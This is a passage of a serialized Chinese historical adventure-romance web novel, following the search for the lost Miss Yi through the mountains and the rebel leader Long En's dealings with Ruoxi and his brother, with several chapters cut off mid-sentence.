闻声,欢儿猛地转过了身去,只见两只衣袖高高挽起,一脸微笑着面对她,正亭亭玉立着的小妮子手里,轻巧地控制着方才那条尚还对她们昂首吐芯的五步蛇的蛇头。

“小妮子,你跑到哪儿去了?你吓死我了,你知不知道,我还以为我……”欢儿一边说着,激动地都流下了泪来。

小妮子高高举起另一手里捏着的一截树枝,一边将其塞进五步蛇的嘴里,一边对欢儿解释道:“喏,我只是在这个家伙即将向我跃起的时候抓住了它,又在你身后这里找出一截较硬的树枝来,支起这面目狰狞的毒蛇的嘴巴来,防止它再咬伤人而已嘛!有什么好担心的。我不是说了,我们不会有事的,那我们就一定不会有事。在这深山里,你可得相信我小妮子,知道么?我小妮子打从学会走路起,便日日跟着村里的人在这山里出没,什么没见过,什么又没遇过呢!区区一条毒蛇,就想吓倒我。哼,姑奶奶今儿就取了你的蛇胆,让你以后再也不能害人。”

见此,欢儿看着眼前

这个比自己略小的小姑娘,真是不知该哭还是该笑。

话音刚落,只见小妮子忽然就伸出了手过去真的想要取那五步蛇的蛇胆,欢儿忙上前两步伸手阻止其道:“小妮子,快住手,不要杀它!五步蛇是一种极为珍贵的药材,可以用它来治疗麻风和恶疮。快将它放生了吧!”

小妮子闻此,嘟起嘴来甚感不可思议地道:“放生?你没搞错,我没听错吧?我好不容易才抓着的,这若是一松手,它要是再来攻击我们了怎么办?”

欢儿一边摇头,一边摆摆手,道:“不会的,不会的,你那么厉害,它一定不会胆敢再威胁你了。求求你了,小妮子。若不是因为今日我们有更重要的事急着办的话,我倒还真想带它回去送给老夫人呢!她一定会很喜欢这种得来不易的珍贵药材的。可它若是就这样死在野外里,岂不是暴殄天物吗?”

“唉,果然不愧是活菩萨身旁长大的人啊!这条蛇方才可差点儿就要了你我的小命耶!好不容易抓着,就这样放过了它,唉!真是可惜,可惜了啊!”闻此,小妮子嘴里虽连连哀怨叹息着,却终是听了欢儿的劝告,小心翼翼地将它放了下来。

谁知,那条五步蛇这次真的像是怕极了小妮子极为高超的捕蛇技能,一着地面,便“嗖”的一下,似是一溜烟般直往草丛里急急逃窜了去,很快便消失的无影无踪。

一时间,小妮子竟被其逃命的愕人速度惊呆了。

看着五步蛇仓皇而逃,欢儿终于松了口气,上前拉起小妮子的手,亲昵地替其将两只衣袖缓缓放下。

又紧紧地捉住小妮子的两只手,似是永远都不想再松开,含笑着对她说道:“小妮子,幸亏一路上有你!”

俩个女子就这样手握着手,你看我,我又看你,脸上都洋溢着一脸庆幸与纯真无邪的笑容。

伴随着深山里的天色似乎已渐渐暗了下来,寻人的事情却依然没有丝毫进展,俩人这时来到了一片茂密的阔叶林地带。

走着走着,小妮子忽然似是又觉察到了什么,渐渐放慢了脚步,目光犀利,皱着眉头悄悄地拉起了欢儿的手,继而忽地一下便闪身躲到了一棵粗壮的大树后面。

欢儿惊慌地问道:“怎么了?”

“嘘”小妮子飞快地将手指抵在唇上,示意她安静,兀自小心翼翼地露出半只眼睛来朝外面查看去。

只见竟是一强壮高大,身长看起来约摸七尺左右,头大且圆,耳短,四肢粗大有力,长尾,全身白色并布满黑色横纹的庞然大物正在距离俩人不远处的林间独自缓慢游荡觅食着。

&nb

第二百七十章:身份真相大白

就在俩个女子正说话间,那黑白条纹的大虫已然到达了猎物的身边,却并没有丝毫放慢其脚步,而是瞬间用尽全身力量将四肢一起发力,张牙舞爪着将整个身子腾起在了半空中,张着血盆大口向着地上俩个紧紧将头抱作一团,禁闭起绝望和恐惧的双眼的俩女子猛扑了过去。

就在这命悬一线,千钧一发之际,忽然不知从何处飞身而出一个眉目清朗,身姿俊雅的白袍男子身影。刚好越过了,其实倒更像是踩踏着那只大虫威风凛凛的大脑袋。

只见其在空中只手起剑落的一瞬间,不知不觉中那大虫便负伤痛的嗷嗷惨叫着调转方向直往深林里急急逃窜了去,两只幼崽亦紧随其后仓皇而逃。

而白袍男子则正好顺势面向着俩个女子落在了其面前。

始终都还是天生在乡野村夫家里长大的小妮子比较胆大一些,听着耳边的动静似是有些不太对劲,她纳闷着先睁开了眼来。

当一看到面前熟悉的英俊男子,便瞬间对其扬声惊喜道:“陆公子?怎么是你?”

一边说着,她伸手轻轻拍了拍至今依然都还紧闭着双眼,似是咬牙切齿一般地还在打着哆嗦的欢儿的肩膀。

这时,欢儿方才惊了一下,忽地睁开了眼睛,却似是根本就没有听到小妮子方才的话一般,兀自惊慌地连连道:“怎么了?怎么了?”

见此,小妮子忍不住一手捂起嘴来“扑哧”笑出了声,很快又回过神来用手指指了指男子站立的方向。

欢儿这才朝其看了过去,顿时蹙眉大惊道:“陆公子,怎么是你?你怎么会在这里?”

话音刚落,尚不及陆天麟开口说话,欢儿便先忽地站起了身来,急急朝着四下里一边仔细寻觅着,一边疑惑地问俩人道:“大虫呢?那三只大虫呢?”

这时,陆天麟方才将一直竖在自己手里明晃晃的一把利剑再次举了起来,预备收回到剑鞘里去。

欢儿一见到握在其手里剑刃上的斑斑血迹,顿时朝其双眼一怔片刻,继而又惊声质问道:“陆公子,你把那三只大虫给杀了?”

“没有,那只成年大虫只是被我的剑刺伤,落荒而逃了而已。”陆天麟沉声一将话说完,便将宝剑插入到了剑鞘内。

“还好还好,老天保佑,它们都还好好活着。”闻此,欢儿竟顿时展露出了满脸笑颜,双手并拢着,嘴里连连祷告道。

“那只大虫刚才差点儿就要将你俩吞入腹中,打了牙祭,你竟还盼望着它能好好活着?我竟不知,在你这个小丫头的心里,这到底是什么逻辑?”陆天麟看着她此时的样子,惊呆了。

闻此,欢儿顿时露出一脸绯红,悄悄地侧过了身去,好不被人发现,却终究还是逃不过古灵精怪的小妮

子的法眼,她笑着对男子打趣欢儿道:“陆公子有所不知,欢儿姐,她可是活菩萨亲自养大的丫头,不是凡人耶!”

“小妮子,你要是想你的这只脚肿地比桃子还要大的话,你就试试继续说下去吧!”欢儿一边厉声朝其说着,一边踱步过去蹲身回到了小妮子的身边,将其刚刚崴了的那只脚抱了起来。

“我不说了,我不说了,欢儿仙女,你就是救苦救难菩萨心肠的天女真身下凡。求求小仙女,你赶快救救我的这只脚吧,快要疼死我了!”小妮子对其依旧耍贫嘴道。

就在欢儿替小妮子疗伤之际,陆天麟看了看四周的险峻环境,不解地开口问道:“你们俩方才在山下不是说上山只是来找野菜嘛,怎么又会到如此危险的地方来了?如果我没记错的话,这里貌似已经不是我西秦的国境了吧?”

闻此,俩个女子默默地低下头来,突然都不约而同地装聋作哑了起来。

陆天麟一见俩人此时心虚极了的反应,便更加确定自己方才上山一路上的心里所想,问道:“你们上山来,根本就不是为了找野菜对吗?你们到底在找什么?”

闻言,俩个女子依然无一人开口吱声,头倒是一起垂的更低了。

陆天麟此时似是已有了些不悦之色浮于脸上,继而对这二人冷哼一声,道:“你们不要以为你们不说话,我便拿你们没了办法。你们看看,这个是什么?”

说着,见他从衣袖里掏出一条本应是洁白无瑕,而此时却沾染上了无数灰尘的蒙面纱巾来,轻轻捉起一角将其展开来伸到了俩个女子的中间。

至此,俩个女子方才不约而同地缓缓抬起头来朝着眼前的物件看去。

小妮子若是元宵夜没注意的话,或许真会不识此物。

然与其朝夕相处已有数日的欢儿,一见到这面纱一角上颇为熟悉所绣上去的一极清秀的“云”字和其旁边的一朵淡蓝色云朵图案,顿时朝其惊声道:“这个...这个你是从哪儿得来的?”

说着,便欲伸手过去将其抢夺过来。然陆天麟却似是早已预料到了她会有此行动一般,飞快地比她更快地将手迅速收回,负于自己身后,吐了口浊气,微微侧过身去对其道:“说吧,这究竟是怎么回事?”

欢儿沉思了片刻之后,一咬牙,终将若曦所有的事情对其原原本本都说了出来。

&

第二百七十一章:峡谷里,神秘的石洞

“那王二是不是会什么凿洞之类的本事?”陆天麟忽然问了句。

“凿洞?我们只听村里人说,王二的父亲生前会凿洞,村里的窑洞都是王二父亲所为。可他父母在他很小的时候便过世了,从未听说过王二也有凿洞的本事啊!”俩个女子顿时四目相对,惊讶地道。

“这跟这条遮面巾又有什么关系呢?”欢儿疑惑地问。

陆天麟还在暗自思量着,尚未及开口说话,欢儿又想起了他开始说的那些话,便着急地问:“对了,陆公子方才说我们未经仔细查看现场所留下的痕迹就冒然进山了,这又是何意?难道…我们寻找的方向错了?”

闻此,陆天麟方才缓缓回过神来,看了俩个女子一眼,单手附后着问道:“我问你们,你们如今已然穿过了整座山林,那是否有见到任何与他俩有关的蛛丝马迹?”

俩个女子四目相对着你看看我,我看看你,最后一起对他无奈地缓缓摇了摇头。

陆天麟幽幽道:“你们当然在山上找不到与他们相关的任何踪迹,因为你们要找的人,根本就没有上山。”

话音刚落,俩个女子便嗖地站起,异口同声道:“不可能。”

明显,在欢儿的帮助下,小妮子的脚伤已经好多了。

稍顿片刻,欢儿回忆着仍然深信不疑地说道:“在山脚下,王二的脚印清清晰晰地,明明就是向着山上延伸而来的呀。”

陆天麟追问:“那你进了山之后,可有再见到他的足迹?”

“这个…进了山之后,因为我心下里一害怕,故将那脚印不小心给跟丢了。”欢儿尽管此时想起这一路上的惊险重重,似是仍旧有些后怕着。

这时,陆天麟瞪了瞪欢儿,继而又将目光移到了欢儿身旁小妮子的身上,同问:“那又依你所见呢?”

小妮子支支吾吾的道:“我…我只是清晨在山脚下见过王叔的人而已…后来…我见欢儿姐义无反顾地进了山…怕她一个人会出事…这才…也跟着她后面进了山来。后来就和她一直在一起,亦…什么都没有发现。”

将话说完的时候,小妮子不禁深深地低下了头去。

这时,陆天麟有些气恼地瞪着俩个女子,道“你们俩个毛手毛脚的丫头呀!还说自己不毛糙,竟会逞一时之勇。今日,若不是我及时赶到的话,你们俩必定是要一命呜呼了!”

见到俩个女子已然都低下了头去,却还不知自己究竟哪里错了,陆天麟顿了片刻,有些神秘地朝其说道:“跟我走,我带你们去一个地方,到了你们自然就会知道这一切究竟是怎么回事了。”

“可是...可是小妮子的脚……”欢儿看着小妮子受伤的脚,一脸忧色地道。

虽然此时小妮子的脚已可以

勉强站立起,但要在这危机四伏的山涧里穿梭,明显是不可能的。

陆天麟低眼看了那个此时轻抿起小嘴来,有些古灵精怪的女子一眼,随即走到其身边过去,柔声说道:“你若不嫌弃的话,我背你可好?”

“啊?”小妮子听了,忽地抬起头来看着陆天麟一双温柔的眼睛惊声道,继而又将目光挪到了欢儿身上,似是在征求她的同意一般。

看到欢儿点头允许,小妮子方才含羞说道:“好吧,那就有劳陆公子了。”

果然,在一身武艺的陆天麟的一路护送下,再陡峭的山路亦显得似乎并没有那么难行了。不止如此,还似乐趣多多的样子。

回去的路上,一到了不好走的地带,他便会以极强的轻功将两名女子轮流相继地带着飞身而过;一遇到什么毒虫野兽之类的,他亦是让俩个女子落座待在一旁看着,只在他弹指一挥,亦或举剑起舞表演的一瞬间,那些毒虫猛兽便灰溜溜地败下阵来,直往四处逃窜了去,惊的俩女子不断兴奋地忍不住为其鼓掌叫好……

这一路,俩个生长在乡野间的普通女子竟是大开了眼界,如同看戏一般。原来,这世上还有这么厉害的人。而他,是这样的年轻,又英俊,心中不禁对其更加崇拜了起来,三人轻轻松松,有说有笑地,很快便一起走出了那片迷惘又凶险神秘的山林绝地。

就在其一出山林,到达从山脚下那片十里桃林后面而上,暴露在山林外的露天崎岖羊肠小道上时,陆天麟却并没有带她们直接下山,而是半途改道,进到了一片草丛之中,忽然驻足停了下来,低头说道:“你们仔细看看,这是什么?”

俩女子闻声,低头朝其所看向的方向望去,瞬间惊异地面面相觑道:“脚印?...是王二的脚印。”

经过山里的这番折腾,如今怕是王二脚印的长短,宽瘦,早已刻在了俩个女子的记忆里。

“原来,王二真的没有进到山林里去,他要去的地方是……”欢儿望着那脚印所延伸向的远方,喃喃自语道。

寻着时有时无的踪迹,三人一直来到了东山向西北方向所突出来一条夹在东山与西山之间的小峡谷。

脚下是一处并不怎么高的断崖,断崖边的青草地上有几棵海棠树上的海棠花正开的旺盛。

下到峡谷里,只觉冷风徐徐,两旁高山环绕,树木茂盛,郁郁葱葱,中间有一条清澈的溪水顺着河床潺潺流淌着。

忽然,小妮子激动地开口道:“这个地方我知道,这里距离西山很近。我娘以前带我来这里的时候说,以前每逢打雷下雨,进山的人总是没地方歇脚避雨,王叔的父亲便想在沿途附近为大家开凿几个山洞,以备不时之需。可是这

第二百七十二章:最好的消息

话说到一半,欢儿忽然发现门口的草丛有一截明显被什么动物啃食过大半的痕迹,便走过去拨开草丛堆仔细一看,惊声道:“快看,这草丛里有马蹄印,桃花店村里可并没有养马的村民啊!…陆公子,你的马呢?”

“这马蹄印不是我的马留下的,我的马在山脚下的桃林里食草呢!”陆天麟疾步过去一看,肯定道。

“那留下这个马蹄印的马又是谁的?肯定不会是王二的,他懒的连自己都养不活,又怎么可能会养一匹马呢?他又生着病,不可能带着衣小姐去哪里,那王二到底去了哪里?衣小姐又去了哪里?这匣珠宝又是怎么回事?”

欢儿此话一出,三人瞬间都一起沉默了下来,周围里一片宁静。

忽然,小妮子的脚似乎因为站的有些久了,略感吃力支持不住,便想要找个地方坐下来歇歇。

于是,她朝四下里一寻,看到旁边角落上有一堆尚未被用过的干柴,随即一瘸一拐地向其走了过去。

正要坐下,却在那堆柴火的边上似是发现了什么,忙道:“你们快看,这里有些血迹和渗上了血的布头,还有一个空酒坛子。”

陆天麟疾步过去仔细一看,又拿起酒瓶来靠近鼻翼闻了闻,继而一双深邃的眼睛突然抬起朝着欢儿一怔,稍作思索后严肃地对其说道:“如今看来,那就只有一种可能了:这匹马的主人确实不是桃花店村里的人,而是一个受了重伤的外乡人,在他受伤之后恰巧遇到了王二,便被王二带到了他刚刚凿成的这个石洞里疗伤……”

话未说完,欢儿便将其打断,似是有些不以为然地问道:“陆公子为何认定这血迹是那个外乡人的,而不会是王二在凿洞的时候不小心伤到的呢?”

陆天麟笑了笑,举起那空酒坛来,道:“我之所以这样说,正是因为这坛酒。”

“王二平时也喜好饮酒啊,不知道讹了我多少酒喝呢!”欢儿不悦地道。

陆天麟摇了摇头,浅笑道:“可这坛酒,并不是一坛普通的酒。它乃是城南最有名的醉仙坊里所酿的最上等的女儿红,只供达官显贵们享用。不知在桃花店这样的小小村落里,可会有此酒卖?”

此话一出,欢儿自是瞬间哑口无言,再无异议。却转念又道:“就算陆公子说的都对,可这坛酒又和衣小姐有什么关系呢?”

陆天麟吐了口气,稍作整理幽幽道:“当然有关系。从这所有一切的迹象表明,这匣珠宝本应是那位受伤的外乡人所有的,因为王二救了他的命,他便以此重金来作为酬谢,看这匣珠宝的价值,便知道那人伤的不会轻,否则他不会如此出手阔绰的。然王二却不肯接受他的馈赠,故那外乡人无奈之下,才将此珠宝放在了如此

不起眼,怕是如果不是我们仔细寻找的话,便只有王二才知道的地方。而王二离开之后,那异乡人因为重伤又逢山里大雨,便被滞留在此地歇息,许是期间外出觅食,便恰巧遇到了从西山落入山坡下昏迷不醒的衣小姐,便救起了她,将她亦带到了这里来避雨。衣小姐醒后,因为受到了惊吓,亦是对村子里的一切尚都还陌生,便一时忘记了村子的名字,回不了家。而救她的人又不能将她一个人丢在这深山老林里,故将她也一起带走了。”

“那王叔为何不将那个异乡人带回村子里自己的家中养伤呢?”欢儿尚还在认真分析消化其所言,小妮子忙纳闷不解地问。

“或许…他的身份特殊,不便暴露示人罢!”陆天麟望着手里沉沉的珠宝匣子若有所思着,出神地默默道。

话一说完,便忽地飞身而起将匣子又放回了原处。

“如此说来,我们依然就只有找到了王二,才能顺藤摸瓜地找到那个外乡人,才能找回衣小姐咯。”欢儿沉思了许久,恍然大悟道。

“可王二又究竟去了哪儿呢?”王二的脚印到了石洞门口,似是根本就未曾进入洞里来,便再也没了任何痕迹。于是,欢儿又再次黯然神伤了起来。

三人一起沉思了许久,陆天麟忽然开口说道:“王二一定是得知了村民们至今都尚还没有寻到任何有关于衣姑娘的踪迹,便想到了这个唯一能遮风避雨的石洞,亦想到了山里还有那个外乡人存在着,他一定会走出山洞去觅食,也最有可能遇到衣小姐,所以才匆匆上山来的。换句话说,王二一定知道那个外乡人的一些事情,便跟着去找他了。”

“可那外乡人究竟去了哪儿?王二的身子那么虚弱,又怎能跋山涉水?”欢儿忧心忡忡地道。

顿了片刻,陆天麟心里似是已经有了主意,便对俩个女子交待道:“欢儿姑娘,小妮子的脚受伤了,已然不能再继续往下走了。所以眼下,你怕是只能先带她回去好好修养身体才是。有关于寻找衣小姐和王二所剩下的事,就都交给我吧。相信我,我一定会将他们都找回来的。”

话音未落,欢儿便激动地一脸坚决道:“不,我要同你一起去找衣小姐。”

见此,小妮子也跟着附和起哄道:“我的脚不碍事的,陆公子,你就让欢儿姐陪你一同去找衣小姐吧!”

“可万一若是王二他真的比我更先找到衣小姐回家了呢!毕竟,他才是唯一一个见过那个外乡人的人啊!”陆天麟似是已着急着离去,竟有些不耐烦地扬声道。

看到俩个女子都抿起嘴来一脸难色,陆天麟将两只手默默地搭在了俩个女子的肩头,对其柔声说道:“听我的,你们俩个赶快回去等消息

&n

第二百七十三章:得而复失

欢儿将小妮子平安送回到家里后,依照小妮子在路上早已替她所编排好的说辞,对小妮子的爹娘扯谎说,小妮子是帮她在河边浣洗衣裳,俩人玩闹时不小心才扭伤的脚,亦弄脏了身上的衣裳。

闻此,纯朴善良的小妮子爹娘虽然很是心疼女儿,但终是念在老夫人的面上,亦是俩个孩子之间磕磕碰碰无心至此,且亦并无大碍,便也就真的没再说什么,反倒连连致歉说是给老夫人添麻烦了。

这自是让欢儿的心里更加过意不去,明明是因为自己的粗心大意,俩人不仅白跑了一趟东山,还害的小妮子受伤。如今,反倒变成是小妮子的爹娘向她致歉。

为此,心里顿时对小妮子一家人更是又添了几分惭愧,抿了抿嘴,一边替小妮子极为细心地又按摩了一遍脚踝,一边凝视着同样看着自己眼睛的小妮子一双水汪汪天真无邪的大眼睛,心里暗道:“小妮子,谢谢你!”

从小妮子家中出来的时候,已快至半夜。

整个如同与世隔绝般的村子里,一片银白的月光,正精神地洒落在苍茫的大地上。

周围的虫鸣浅吟声,河水潺潺的流水声,还有那夜里悄悄绽放的春花所散发出来的阵阵幽香,温暖和煦的春风拂面而过,所有一切都一起弥漫在空气中,如同被谪仙所织成的一张巨网般,将这所有静夜里最美好的点点气息全都包裹在里面,恩赐给世间的每一位凡夫俗子。

然欢儿此时却觉得她眼睛所触及到的一草一木,耳朵所听到的一切声音,都似是那般地模糊不真实,就连整个人都昏昏沉沉的,让人有一种如梦如幻的感觉。

可无论她如何憧憬或者想要逃避,如今的现实确实是若曦,不,她真正的身份是城西衣府里尊贵的嫡长女衣小姐,她是真的被弄丢了。

这会儿回去,她又该如何向她的主子交待。此时,她只希望眼前这条回家的路能够变得更长一些,最好永远都没有尽头。

就这样,两只稚嫩的小手不经意地不停揉搓着自己的衣角,一脸黯然,心里忐忑不安又怯怯地独自走在回家的路上。

快到门口的时候,脚步不知不觉地放的越来越慢,却忽然才想起被自己撒掉的饭菜至今都还未清理,随即又加快了脚步。

“是谁打扫的?莫非是…老夫人?”岂料一走到大门外,竟看见地面上早已是干干净净,一尘不染。心里一边纳闷地口中喃喃着,一边忧心忡忡又犹犹豫豫地终是伸手推开了门走了进去。

格外清净的四方形小院落里,一树的海棠花已是绿肥红瘦,静静地竟散发出一股冷清。

院子东头,淡雅肃静的东屋里,一盏昏黄的孤灯下,老妇人正安详地端坐在窗前的桌案边,手里翻动着一

本古籍。

夜已深,许是等了太久,终忍不住打了个哈欠,随即又朝着屋外望了一眼,有些纳闷地嘴里喃喃道:“都已经这么晚了,这俩个丫头怎么还不回来?”

轻叹口气,不禁又想起了白日里陆天麟的一颦一笑,老妇人遂面带着一抹浅笑,入神地陷入到八年前的点点滴滴旧事回忆里。

忽然,似是觉察到了躲在自己门外有些鬼鬼祟祟着的欢儿,却只是微微抬起眼来朝着空荡荡的门口瞥了一眼地上所照出的熟悉的人影,继而再次埋头下去故作将目光落在手中的古籍上,带了些严肃地训斥道:“你们俩终于回来啦!唉,老身都说过你多少次了,遇事要冷静,可你这个笨丫头怎么总是记不住。为何总是这般毛手毛脚的?怎么将好好的饭菜打落了一地,不知道‘粒粒皆辛苦’为何意吗?”

良久,见门口射进来地上的影子许久都默不出声,亦不离去,老妇人心想,该不会是自己太过严厉了,她毕竟还只是个孩子,贪玩是天性。又想起今日主仆俩所遭遇的一切,欢儿定是亦吓得不轻。

于是,她目光不再盯着那本古籍,而是注视着地上的影子,变作柔声地关切问道:“你们俩可都已经吃过饭了?给你们在庖屋里留了饭菜,若是饿了的话就快去吃吧!照顾病人很辛苦,吃完了便早些去歇息,王二都还好吧?”

闻此,门外怯怯地紧靠着墙壁的欢儿,眼里早已噙的越来越满的泪水瞬间夺眶而出。继而一步跨过门槛,疾步奔跑到老妇人的面前,扑通一声跪倒在了她的膝前,紧紧地抱着老妇人的膝盖,掩面痛哭了起来。

老妇人俨然被欢儿此时从未有过的举动惊吓地不轻,忙放下手里的古籍,抚摸着欢儿的脑袋,安抚她道:“傻丫头,你这是怎么了?老身知道今日里让你受了如此之大的惊吓和委屈。都是我的错,若不是我执意急着要去城隍庙里找玄空大师,这一切便都不会发生。尤其是那个陆天麟,陆公子,孩子,你要知道,外人终究是外人,所谓‘见人只说三分话,未可全抛一片心’,我们始终都不知道他究竟是不是心怀鬼胎。在这个世上,有很多开始看起来似是天真无邪,美好的人和事物,随着世事变迁,很多都会在不知不觉中,你我不经意间便都丢失掉其最原本的单纯本性。所以凡说话做事,总要顾忌几分才行啊!人面兽心的

第二百七十四章:聊天,疗心

听了若曦的话,龙恩故意试探问道:“哦?既然如此,那若是找到了那户人家取回了你的东西后,你便就此留在骁龙会里,做我龙恩一辈子的妹妹,如何?”

“这个...能蒙龙大哥不弃,若曦心中甚是感激。只是,若曦不幸遭遇意外而失忆,至今连自己是谁都不知道,亦不知自己从何而来,家中是否还有什么亲人在世?他们是否也同样在四处里苦苦寻着若曦。老实说,若曦是想尽快找到那户人家,与其当面致谢道别后,便尽快去寻自己的身世。”若曦面露一丝难色,一边倒茶,一边诚恳说道。

然龙恩闻此,却坐在桌案边挑眉说道:“一个人无牵无挂地生活在这个世上,难道不好吗?我倒是还想失忆呢,如此便可摒弃前半生里所有的喜怒哀乐,宛若重生一般,没有孤独,没有恐惧,一切都重新开始,如活两世,岂不更好...…”

说着说着,他忽然停了下来怔望了若曦一眼,似是觉察到了什么,问道:“你这该不会是躲我的借口吧?你是不是在这里听到了些什么风言风语,怕了我这骁龙会了?”

若曦一边将茶汤恭敬地双手奉上,一边道:“龙大哥又多虑了,若曦只是觉得一个人如果连自己是谁都不知道的话,那便不会知道自己所存在的真正意义了,不是吗?”

龙恩伸手将茶碗接过,眼睛忽然怔了一下,似是亦有些认同地说了句:“说的也是!如果我失忆了,怕是也就一起忘记了我的深仇大恨,不会与朝廷势不两立了吧。如此的话,那我这大半生所有的努力和付出,不就都成为一场徒劳了吗?”

闻此,看到龙恩原本摊平放在案上的一只手掌紧紧地握成了强而有力的拳,眼睛里燃烧着满是仇恨的熊熊怒火,似是都咬牙切齿地在努力隐忍着,若曦便亦缓缓坐了下来在其身旁,忽然柔声问了句:“不知龙大哥可有儿女?”

“算是有吧,都怪我始乱终弃,忘恩负义,是我对不起她们母女,这辈子她们怕是也要故意躲着我,再也找不回来了。”龙恩回过神来想了想,说道,默默地抿了口手中的茶汤。

闻此,若曦稍作思量,鼓足了勇气开口一口气说道:“若曦虽不知道龙大哥与朝廷之间到底有着怎样的深仇大恨,可如果有一天,龙大哥遇到了自己的夫人和孩子,她们知道自己的丈夫,父亲竟然是一个大逆不道,制造混乱和杀戮,反叛朝廷的人,她们会怎么想?她们身边的人又会怎么想她们?你又让她们母女俩情何以堪,如何面对这万夫所指?起义弑君,向来都是九死一生,劳命伤财不说,最受苦的可是那些无辜的黎民百姓啊!他们又曾做错了什么?为什么要因为你的一己仇恨而无辜遭受此家

破人亡之大不幸?又或者,在你精心的一手策划之下的某场战争中,那枉送了性命的...正好也有她们母女俩呢?到时候,龙大哥你又该如何面对……”

若曦话似还未说完,龙恩便重重地一掌狠狠拍在了手边的桌案上,雷霆大怒道:“住口,你可知道你是在跟谁说话,又在说些什么吗?我也是受害者,这天下本来就是属于我龙恩的,我才是这泱泱西秦国真正的真命天子,守护者誓死所要守护之人。却凭什么我一出世她便如此狠心地要将我抛弃,为什么,你告诉我为什么?”

然白纱遮面下的若曦闻此,却似乎并不惧怕,反而更加镇定地说道:“你错了,西秦国乃至这个天下并不是只属于某一个人的,而是属于民心的。民心所向,民意所投,这个天下只会属于关心百姓疾苦,拼死守护他们的家园,以命抵抗外强的‘民君‘,‘黎民百姓’的‘民’!昔日,她为了自己的一己私欲狠心抛弃了你,难道你便也要同样抛弃你所应该守护的人,将满腔愤怒全都抛给她们俩个你最深爱的女人吗?那你又和虚荣无情自私的她有何区别?”

“我……”龙恩气急败坏猛地抬起头来还想再争辩些什么,岂料一看见眼前这个瘦弱的女子眼中却是满满的强大和坚毅,一时间里竟再也无言以对。

宽敞明亮的屋内顿时一室寂静,只散发出丝丝缕缕刚刚采摘回来的新鲜淡淡药草香。一如这个女子不仅可以不动声色地便能信手拈来这些不起眼的花花草草治人身上的病痛,亦可以三言两语却如雷贯耳般疗人心间的疾苦。

默了半晌后,龙恩终于平复下了些许复杂的心情,方才想起自己来此的目的,便对其开口说道:“对了,我来是想告诉你,这两天,我有事要外出一趟。你眼睛刚刚恢复,就在这里等我,哪里都不要去。等我回来了,亲自带你去寻那户人家取回你的东西。”

明明就是个很会关心人的身体,怎么看都不像是那般无情之人,却如此备受仇恨的煎熬,真是可怜又可悲!若是能放下屠刀,弃恶扬善,必定会是柳暗花明又一村的幸福结局。

若曦盯視着他的眼睛暗自沉思了许久,默默地朝其点了点头。

&nb

第二百七十五章:刀,解决不了所有问题

“少废话,我自有办法,走!”龙烨似是极不耐烦的狠狠训斥了手下一句,便与其一道匆匆离开了后院。

此时,龙恩亦已经对若曦细心地交待好了一切,缓缓从其屋内踱步走了出来,又替其将门轻轻掩上。

刚走下台阶没两步,忽然单手负后,驻足对身后的两名守门的亲信厉声命令道;“本帮主不在的这几日里,你们俩务必寸步不离地将若曦姑娘给本帮主看护好了,就连一只苍蝇也决不允许进入屋内。若曦姑娘要是少了一根汗毛,本帮主定让你们俩个身首异处,绝不姑息,可都听到了?”

闻此,俩名守卫顿时面面相觑着四目相对,互相怔望着彼此满是惊恐的眼睛,片刻后忙抱拳领命道:“谨遵龙帮主之命,属下定当竭尽全力守护好姑娘。”

至此,龙恩方才似是终于安心地大步走出了院子。

从后院里出来,又绕道西院龙烨的屋内想找其做临行前最后的一番交待,岂料却扑了个空,龙烨并不在屋里。于是,他又径自来到了前院骁龙堂前的操练场上。

脚步刚一踏入到骁龙堂极为空旷的院落门口,一放眼看去,骁龙堂门前石阶下偌大的广场上,黑压压一片竟全是些身着红衣舞刀弄枪,正在操练场上奋力搏斗的众弟兄们。

见此情景,龙恩心里不禁顿时甚感欣慰。眼看着成事的时机就在眼前了,他心里暗自想着,这次出去会老朋友再回来的时候,想必定会有很大的进展。

忽然,他瞥见了龙烨果然是在这里。此时,除了所有在忙着为即将到来的一场大战而奋力做着最后准备的人之外,独只有龙烨与一张看起来似是有些陌生的面孔在院子一角落里的梨树下正交头接耳着,鬼鬼祟祟似是在窃窃私语着些什么。

于是,龙恩便佯装着轻掩起嘴来咳了两声:“咳咳。”

“大哥?你怎么来了?找我有事?”龙烨猛然闻声,心下里受了惊,便忙结束了交谈。继而又微微做了个手势,那陌生面孔的手下便立刻垂首行礼,兀自匆匆绕过了俩人的身旁,悄悄退了下去。

就在其刚好经过龙恩身边的时候,俩人都不经意地互相瞥了眼对方。

几十年的江湖经验,龙恩似乎隐隐感觉此人的眼里和神情之间总有种说不出的异样,待其一从自己的视线里消失了去,龙恩便一边向着龙烨靠近过去,一边问道:“这个人的面孔看起来甚是生冷,是新来的?怎么好像以前从来都没见过似的,他不用练功?”

“哦,他呀,他已经是骁龙会的老人了。只是平日里给他安排的都是些诸如看守后山之类的琐事,偶尔才下山来汇报一些情况。因为很少参加骁龙会的集会,也很少一起练习,故此可能与众弟兄们显得

有些不太合群,也让大哥觉得陌生了吧。”龙烨窃窃地瞄了眼那人离去的背影,说完倒抽了口气。

龙恩一边仔细听,一边暗自思量着,便已近身到了龙烨的身旁,上前将一手搭在其肩上。

俩人便一道踱步走出了门去,踏着一条宽阔大道,缓缓朝向门外的石门边上走去。

龙恩边走边语重心长地对其叮嘱道:“二弟,听说最近璟帝又特派了秦王轩辕翰到处在缉拿和打压各路反贼,你我凡事都要比以往更加谨慎小心些才是啊!这眼看着就要到关键时刻了,可千万切莫让那些可恶的细作混了进来,到时候骁龙会可就……”

岂料龙恩话还没说完,龙烨便气势汹汹地扬声嚣张道:“哼,那璟帝老儿昏庸无道,滥施酷刑。听说不久前,因为公主和亲的事,不惜都将自己身边最亲信的使臣差点儿满门抄斩,那使臣因此也倒向了秦王。而他自己却一心只为求长生,只顾着苛捐杂税,鱼肉百姓。如今早已不是官逼民反,而是天子逼民反,民不得不反了。大哥放心,骁龙会只要有我龙烨在,我倒是想看看,谁有本事敢在我的眼皮子底下做这些偷鸡摸狗之事,我定让他红刀子进去,绿刀子出来,五马分尸,死无葬身之地。”

龙烨所言,句句狠绝。

龙恩听言却劝解其道;“二弟,大哥知道你骁勇善战,可你也需知,‘刀’是解决不了所有问题的。”

“即便如此,那不是还有大哥的……”

龙烨似是还想继续再说些什么,岂料龙恩突然顿足伸手一把将其嘴紧紧捂住,半晌后方才缓缓松开,紧接着瞪了他一眼,说道:“二弟,有些话你我兄弟关起门来说说便也罢了,自己心里清楚便是。出了门,可绝对千万不能让第三个人知道啊,否则后果将不堪设想。”

然而龙烨闻此却突然挑了挑眉,微微侧过身去对其漫不经心地说道;“我自是不会将如此重要的事情透漏出去,只是后院里的那个美人儿就不知道了。”

